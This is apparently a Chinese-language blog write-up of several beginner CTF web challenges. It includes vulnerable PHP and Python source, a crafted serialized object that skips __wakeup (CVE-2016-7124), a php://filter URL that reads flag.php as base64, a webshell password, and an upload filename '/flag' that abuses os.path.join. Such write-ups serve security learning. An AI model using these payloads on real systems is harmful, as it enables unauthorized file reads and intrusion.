web从零开始day4

luyanpei

[SWPUCTF 2022 新生赛]ez_ez_unserialize

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}

传x参数,在类x里面将x指向当前文件,__construct方法,实例化时把传入的x赋值给$x

__wakeup方法,纠正x指向的文件名,如果x不是file就更改为file

__destruct方法,对象被销毁(脚本结束、unset、程序崩溃…)时自动触发。真正做事的地方:把 $x 指向的文件内容高亮输出。

思路

PHP 反序列化引擎在还原对象时,如果发现“属性个数 > 实际给出的属性”,就会认为“数据不完整”,从而跳过 __wakeup()
(CVE-2016-7124,官方 bug,后来保留成特性)

我们先正常序列化

1
2
$o = new X('fllllllag.php');
echo serialize($o);

产生

1
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

这里X后对应的1是属性个数,根据上面的特性,将1改为2或者更大就可以认为数据不完整,从而可以跳过wakeup(),就不会在进行文件路径纠错

1
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

[羊城杯 2020]easycon[羊城杯 2020]easycon

目录扫描发现index.php

弹窗提示一句话木马链接,cmd是密码

进去之后又一个txt,base64解码后为图片

得到flag

[NISACTF 2022]checkin

将源代码存为php文件,在txt中看到有其他编码,使用010等工具打开php文件,看到第二个get方式传递的参数有其他编码并且变量及数据变换了位置,实际上这才是真正传递的变量以及数据,将他们的十六进制复制出来(为什么不直接复制文本呢,因为复制文本直接GET提交就相当与提交的其他数据了),复制出来后,使用脚本或者手动将每个16进制数(2位),进行加百分号,此时即变成url形势的了,提交的数据将会经过pup自动转码,无法转码的则是源码内的其他编码,数据比对成功

[MoeCTF 2022]baby_file

伪协议直接读flag.php

1
http://node5.anna.nssctf.cn:23864/?file=php://filter/read=convert.base64-encode/resource=flag.php

[NISACTF 2022]babyupload

上传文件不管是啥 都无法上传 然后查看页面源码 发现路径/source 下载审计python代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()

file.save('uploads/' + file.filename)
return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404

# print(res[0])

with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()

os.path.join()函数存在绝对路径拼接漏洞

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

由此,当上传的文件名为 /flag ,上传后通过uuid访问文件后,查询到的文件名是 /flag ,那么进行路径拼接时,uploads/ 将被删除,读取到的就是根目录下的 flag 文件。

上传文件,将filenam改为/flag:

  • Title: web从零开始day4
  • Author: luyanpei
  • Created at : 2025-07-29 08:07:05
  • Updated at : 2025-07-29 09:14:18
  • Link: https://redefine.ohevan.com/posts/37443.html
  • License: All Rights Reserved © luyanpei